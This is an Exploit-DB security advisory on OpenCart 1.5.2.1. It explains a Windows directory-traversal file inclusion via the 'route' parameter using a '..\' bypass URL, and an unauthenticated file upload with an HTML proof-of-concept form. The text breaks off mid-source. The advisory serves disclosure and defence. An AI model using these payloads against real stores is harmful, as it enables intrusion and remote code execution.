Exploit-DB #18813
Description: opencart 1.5.2.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-01
Author: waraxe

Exploit:
Author: Janek Vind "waraxe"
Date: 06. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-84.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OpenCart is a turn-key ready "out of the box" shopping cart solution.
You simply install, select your template, add products and your ready to start
accepting orders.

http://www.opencart.com/


Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well.

###############################################################################
1. Local File Inclusion in "action.php"
###############################################################################

Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "route"
Preconditions:
1. Windows platform
2. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution


Source code snippet from script "index.php":
-----------------[ source code start ]---------------------------------
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
-----------------[ source code end ]-----------------------------------

We can see, that user submitted parameter "route" is used as argument
for class "Action" initialization.

Source code snippet from vulnerable script "action.php":
-----------------[ source code start ]---------------------------------
final class Action {
protected $file;
...
public function __construct($route, $args = array()) {
$path = '';

$parts = explode('/', str_replace('../', '', (string)$route));

foreach ($parts as $part) {
$path .= $part;

if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {
$path .= '/';

array_shift($parts);

continue;
}

if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "route" is sanitized twice against
potrential directory traversal components ("../") and then used as source for
class member "file".

Finally it comes to this:
-----------------[ source code start ]---------------------------------
private function execute($action) {
$file = $action->getFile();
...
if (file_exists($file)) {
require_once($file);
-----------------[ source code end ]-----------------------------------

As we can see, previously constructed file path is used as argument for
php function "require_once()". Sanitization against "../" works well in
most cases, but in case of underlying Windows operating system attacker
can use backslashes and bypass such filtering with use of "..\".

Test (on Windows platform):

http://localhost/opencart1521/index.php?route=..\..\admin\index

Result:

Fatal error: Cannot redeclare error_handler() (previously declared in
C:\apache_www\opencart1521\index.php:78) in
C:\apache_www\opencart1521\admin\index.php on line 87

Error message above indicates, that directory traversal was successful
and php script "admin/index.php" was included as expected.


###############################################################################
2. Arbitrary File Upload in "product.php"
###############################################################################

Reason: insufficient authorization and input data validation
Attack vector: user submitted file upload via POST request
Preconditions:
1. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote code execution

It appears, that OpenCart allows file upload functionality to anyone.
No authentication or authorization at all.

Test: for testing let's use html form below:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/index.php?route=product/product/upload"
method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result:

{"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwdduwjSSIisdsdiSWswd==",
"success":"Your file was successfully uploaded!"}

There are some mitigating factors though:

1. files are uploaded to "download" directory, but filenames are
random. As we can see above, server response contains filename on JSON
format, but it's encrypted. Random filename example:

waraxe.jpg.620d348d4551ea2870e4cb602881a1d8

2. upload script allows through only files with specific extensions - images
and text files. If we try to upload file "test.php", then server responds as:

{"error":"Invalid file type!"}


Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
...
if (!empty($this->request->files['file']['name'])) {
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
...
$allowed = array();

$filetypes = explode(',', $this->config->get('config_upload_allowed'));

foreach ($filetypes as $filetype) {
$allowed[] = trim($filetype);
}

if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {
$json['error'] = $this->language->get('error_filetype');
}
...
if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);

move_upload